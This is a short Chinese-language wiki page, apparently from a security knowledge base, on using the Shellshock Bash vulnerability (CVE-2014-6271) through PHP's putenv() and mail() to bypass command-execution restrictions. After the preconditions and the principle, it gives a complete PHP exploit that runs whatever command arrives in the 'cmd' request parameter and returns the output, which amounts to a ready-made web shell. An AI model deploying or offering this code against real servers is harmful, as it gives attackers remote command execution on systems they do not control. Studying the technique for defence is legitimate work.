利用 ShellShock 绕过

1. 前提条件

目标OS存在Bash破壳(CVE-2014-6271)漏洞 PHP 5.* linux putenv()、mail()可用

2. 基本原理

一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行 php里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

3. exp

<?php
   function shellshock($cmd) {
  $tmp = tempnam(".","data");
  putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  mail("a@127.0.0.1","","","","-bv");
  $output = @file_get_contents($tmp);
  @unlink($tmp);
  if($output != "") return $output;
  else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2020-02-28 12:33:49

results matching ""

    No results matching ""